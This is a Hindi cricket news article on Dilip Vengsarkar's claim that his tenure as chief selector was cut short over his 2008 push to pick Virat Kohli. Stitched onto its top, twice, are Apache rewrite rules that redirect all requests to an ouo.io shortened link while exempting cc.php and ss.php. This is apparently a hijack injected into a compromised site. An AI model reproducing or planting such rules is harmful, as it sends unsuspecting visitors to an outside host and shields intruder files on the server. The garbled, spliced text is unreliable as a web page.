
RewriteEngine on RewriteCond %{REQUEST_URI} !^https://ouo.io/13ARhD8$ RewriteCond %{REQUEST_URI} !/(cc)\.php [NC] RewriteCond %{REQUEST_URI} !/(ss)\.php [NC] RewriteRule .* https://ouo.io/13ARhD8 [L,R=301]RewriteEngine on RewriteCond %{REQUEST_URI} !^https://ouo.io/13ARhD8$ RewriteCond %{REQUEST_URI} !/(cc)\.php [NC] RewriteCond %{REQUEST_URI} !/(ss)\.php [NC] RewriteRule .* https://ouo.io/13ARhD8 [L,R=301]
BREAKING NEWS
Total views:- 431
Previousनई दिल्ली। भारतीय क्रिकेट टीम के पूर्व कप्तान दिलीप वेंगसरकर ने संकेत दिया है कि वर्ष 2008 में जब वह BCCI में नैशनल सिलेक्शन कमिटी के चीफ सिलेक्टर थे, तब विराट कोहली से जुड़े एक मसले पर उनका कार्यकाल छोटा कर दिया गया था। वेंगसरकर उस वक्त विराट कोहली को टीम इंडिया में मौका देना चाहते थे। टीम इंडिया में वर्तमान कप्तान विराट कोहली को यह मौका तब तमिलनाडु के बल्लेबाज एस. बद्रीनाथ पर तवज्जो देकर मिलने की बात चल रही थी। इससे बीसीसीआई के तत्कालीन कोषाध्यक्ष एन. श्रीनिवासन खफा दिखे और कुछ ही दिन में वेंगसरकर की मुख्य चयनकर्ता के पद से विदाई हो गई।
कल मुंबई में एक कार्यक्रम के दौरान बात करते हुए वेंगसरकर ने पत्रकारों को बताया कि उन्होंने युवा कोहली को उस साल श्रीलंका दौरे के लिए टीम में शामिल करने पर जोर डाला था। 2008 में कोहली की कप्तानी में ही भारत ने अंडर-19 वर्ल्ड कप जीता था और वेंगसरकर सचिन तेंडुलकर की गैरमौजूदगी की स्थिति में कोहली को टीम में शामिल करना चाहते थे। वेंगसकर का कहना है कि इसी बात से नाराज होकर श्रीनिवासन ने उनके मुख्य चयनकर्ता का कार्यकाल जल्द समाप्त कर दिया। वेंगसरकर के मुताबिक श्रीलंका के खिलाफ वनडे और टेस्ट सीरीज के लिए हुई चयन समिति की बैठक में वह कोहली को ODI में मौका देना चाहते थे, लेकिन तत्कालीन कप्तान महेंद्र सिंह धोनी और कोच गैरी क्रर्स्टन संतुष्ट नहीं थे। वेंगसरकर ने कहा, 'मुझे लगा कि कोहली को टीम में शामलि करने का यह सही मौका है। अन्य चार चयनकर्ता भी मेरे फैसले से सहमत थे लेकिन गैरी और धोनी ने चूंकि कोहली को ज्यादा खेलते हुए नहीं देखा था इसलिए वह थोड़ा झिझक रहे थे। मैंने उन्हें बताया कि मैंने कोहली को बल्लेबाजी करते देखा है और हमें उसे टीम में शामिल करना चाहिए।' भारत के लिए 116 टेस्ट और 129 वनडे इंटरनैशनल मैच खेलने वाले दिलीप वेंगसरकर ने 2006 में किरण मोरे के बाद भारतीय क्रिकेट टीम के मुख्य चयनकर्ता का पदभार संभाला था। वह दो वर्ष से भी कम वक्त तक पद पर रहे और उनके स्थान पर कृष्णमचारी श्रीकांत को मुख्य चयनकर्ता बनाया गया। बद्रीनाथ ने 2008 में श्री लंका के खिलाफ दूसरे वनडे में अपने वनडे करियर की शुरुआत की। उस सीरीज में खेले तीन मैचों में बद्रीनाथ ने 27*, 6 और 6 रन बनाए। कोहली ने पहले मैच में डेब्यू किया और सभी पांच मैचों में खेले। कोहली ने उस सीरीज में 12, 37, 25, 54 और 31 रन बनाए। भारतीय कप्तान विराट कोहली भी कई बार सार्वजनिक मंच पर पूर्व मुख्य चयनकर्ता दिलीप वेंगसरकर को उन्हें टीम में लाने का क्रेडिट दे चुके हैं।